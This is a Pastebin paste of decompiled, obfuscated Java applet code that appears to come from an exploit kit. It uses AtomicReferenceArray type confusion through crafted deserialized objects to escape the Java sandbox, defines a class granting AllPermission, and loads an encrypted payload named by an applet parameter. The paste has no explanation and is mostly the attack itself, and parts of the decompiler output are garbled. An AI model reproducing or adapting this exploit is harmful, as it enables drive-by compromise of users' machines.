Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package q_a;
- import java.applet.Applet;
- import java.lang.reflect.Constructor;
- import java.security.AllPermission;
- import java.security.Permissions;
- import java.security.ProtectionDomain;
- import java.util.concurrent.atomic.AtomicReferenceArray;
- public class q_a extends Applet
- {
- public static int z;
- private static final String A;
- public static void q_a(String paramString)
- throws Exception
- {
- Object localObject = Class.forName(q_a()).getConstructor(new Class[] { String.class }).newInstance(new Object[] { paramString });
- }
- public static Permissions q_b()
- {
- Permissions localPermissions = new Permissions();
- localPermissions.add(new AllPermission());
- return localPermissions;
- }
- public void init()
- {
- q_c.q_a(getParameter("b"), getClass().getClassLoader());
- }
- public static String q_a()
- {
- return A.substring(4);
- }
- public static void q_a(String paramString, Object paramObject, Object[] paramArrayOfObject)
- {
- int i = z;
- AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)paramArrayOfObject[1];
- localAtomicReferenceArray.set(0, paramObject);
- q_b localq_b = ((q_b[])paramArrayOfObject[0])[0];
- q_b.q_a(localq_b, paramString);
- if (i != 0)
- q_b.z = !q_b.z;
- }
- public static ProtectionDomain q_c()
- throws Exception
- {
- return new ProtectionDomain(q_c.q_b(), q_b());
- }
- static
- {
- jsr 9;
- A = "T\007i\fQJ_0XT\001Y";
- break label123;
- localObject = returnAddress;
- }
- }
- =============================================================================================================
- package q_a;
- public class q_b extends ClassLoader
- {
- public static boolean z;
- public static void q_a(q_b paramq_b, String paramString)
- {
- try
- {
- paramq_b.defineClass(q_a.q_a(), q_c.q_a(), 0, q_c.q_a().length, q_a.q_c());
- q_a.q_a(paramString);
- }
- catch (Exception localException)
- {
- }
- }
- }
- =============================================================================================================
- package q_a;
- import java.io.ByteArrayInputStream;
- import java.io.InputStream;
- import java.io.ObjectInputStream;
- import java.math.BigInteger;
- import java.net.URL;
- import java.security.CodeSource;
- import java.security.cert.Certificate;
- public class q_c
- {
- private static final String[] z;
- public static byte[] q_a()
- {
- return q_b(z[7]);
- }
- public static CodeSource q_b()
- throws Exception
- {
- URL localURL = new URL(z[1]);
- Certificate[] arrayOfCertificate = new Certificate[0];
- String str = z[0];
- return new CodeSource(localURL, arrayOfCertificate);
- }
- public static String q_a(String paramString)
- {
- int i = q_a.z;
- if (q_b.z)
- {
- i++;
- q_a.z = i;
- }
- return Integer.toHexString(paramString.length()) + String.format(z[2], new Object[] { new BigInteger(paramString.getBytes()) });
- }
- public static void q_a(String paramString, InputStream paramInputStream, Object paramObject)
- throws Exception
- {
- ObjectInputStream localObjectInputStream = new ObjectInputStream(paramInputStream);
- Object[] arrayOfObject = (Object[])localObjectInputStream.readObject();
- q_a.q_a(paramString, paramObject, arrayOfObject);
- }
- public static byte[] q_c(String paramString)
- {
- int j = q_a.z;
- byte[] arrayOfByte = new byte[paramString.length() / 2];
- int i = 0;
- if (j != 0);
- do
- do
- {
- arrayOfByte[(i / 2)] = (byte)((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16));
- i += 2;
- }
- while (i < paramString.length());
- while (j != 0);
- return arrayOfByte;
- }
- public static void q_a(String paramString, Object paramObject)
- {
- String str1 = z[6];
- ByteArrayInputStream localByteArrayInputStream = null;
- String str2 = "";
- try
- {
- str2 = [Lq_a.q_b.class.getName();
- }
- catch (Exception localException1)
- {
- }
- try
- {
- localByteArrayInputStream = new ByteArrayInputStream(q_c(z[4] + q_a(str2) + z[3]));
- String str3 = z[5];
- q_a(paramString, localByteArrayInputStream, paramObject);
- }
- catch (Exception localException2)
- {
- }
- }
- public static byte[] q_b(String paramString)
- {
- int i2 = q_a.z;
- String str = z[8];
- if (i2 == 0)
- if (paramString.length() == 0)
- return new byte[0];
- int i = 0;
- int j = paramString.length() - 1;
- if (i2 != 0);
- do
- {
- i++;
- j--;
- }
- while ((j > 0) && ((i2 == 0) && (i2 == 0) && (paramString.charAt(j) == '=')));
- j = paramString.length() * 6 / 8 - i;
- byte[] arrayOfByte = new byte[j];
- int k = 0;
- int m = 0;
- if (i2 != 0);
- do
- {
- int n = (q_a(paramString.charAt(m)) << 18) + (q_a(paramString.charAt(m + 1)) << 12) + (q_a(paramString.charAt(m + 2)) << 6) + q_a(paramString.charAt(m + 3));
- int i1 = 0;
- if (i2 != 0);
- while (true)
- {
- arrayOfByte[(k + i1)] = (byte)(n >> 8 * (2 - i1) & 0xFF);
- i1++;
- if (i1 < 3)
- {
- if (i2 != 0)
- break;
- if (k + i1 < arrayOfByte.length)
- continue;
- }
- else
- {
- k += 3;
- m += 4;
- }
- }
- }
- while (m < paramString.length());
- return arrayOfByte;
- }
- public static int q_a(char paramChar)
- {
- int i = q_a.z;
- if (i == 0)
- if (paramChar >= 'A')
- {
- if (i != 0)
- break label32;
- if (paramChar <= 'Z')
- return paramChar - 'A';
- }
- label32: if (i == 0)
- if (paramChar >= 'a')
- {
- if (i != 0)
- break label60;
- if (paramChar <= 'z')
- return paramChar - 'a' + 26;
- }
- label60: if (i == 0)
- if (paramChar >= '0')
- {
- if (i != 0)
- break label88;
- if (paramChar <= '9')
- return paramChar - '0' + 52;
- }
- label88: if (i == 0)
- if (paramChar == '+')
- return 62;
- if (i == 0)
- {
- if (paramChar == '/')
- return 63;
- if (i != 0)
- break label122;
- }
- label122: return paramChar != '=' ? -1 : 0;
- }
- static
- {
- String[] tmp5_2 = new String[9];
- jsr 77;
- tmp5_2[0] = "";
- String[] tmp13_5 = tmp5_2;
- jsr 69;
- tmp13_5[1] = "1v|^ex0?";
- String[] tmp21_13 = tmp13_5;
- jsr 61;
- tmp21_13[2] = "rg";
- String[] tmp29_21 = tmp21_13;
- jsr 53;
- tmp29_21[3] = "\021Z\"xfc.!\003g\025)U\016\031\021/\"\013og/'\003hg/ \013og/ \nhg(#\fmg/#\013i\026)!\fia.\"~hb($\rfa\\\"~id)V\r\032a,'\016he(\"\rjaZ'\017m\022)!\fkaY&in)#\t\032c.'\017i\021)T\rfa,%\tib)&\rj`-&\016i\022)#\rjc.'\the)!\ff\026&T\t\033\022^!y\032a*&\013o\024/\"\013og.%yog/%\rn`-'\tif()\fkg/!\bj\025+S\r\036a.'\rif-V\r\034a.&~i`-V\017\031a-&zib)#\fkd]'\003hg(!\013o`Z \013od";
- String[] tmp37_29 = tmp29_21;
- jsr 45;
- tmp37_29[4] = "\026\\Uog/%\fj`- \013nd*R\017\034a^&\nha)!\t\032a\\&\ni\022)'\t\032cY&\ti\026)%\rl`+#yfg\\U\016gnY!\013hd-)\r\034g- \013og((\fog/ \013og/\"\fj`- \013o";
- String[] tmp45_37 = tmp37_29;
- jsr 37;
- tmp45_37[5] = "";
- String[] tmp53_45 = tmp45_37;
- jsr 28;
- tmp53_45[6] = "";
- String[] tmp62_53 = tmp53_45;
- jsr 19;
- tmp62_53[7] = "";
- String[] tmp71_62 = tmp62_53;
- jsr 10;
- tmp71_62[8] = "";
- z = tmp71_62;
- break label199;
- localObject = returnAddress;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement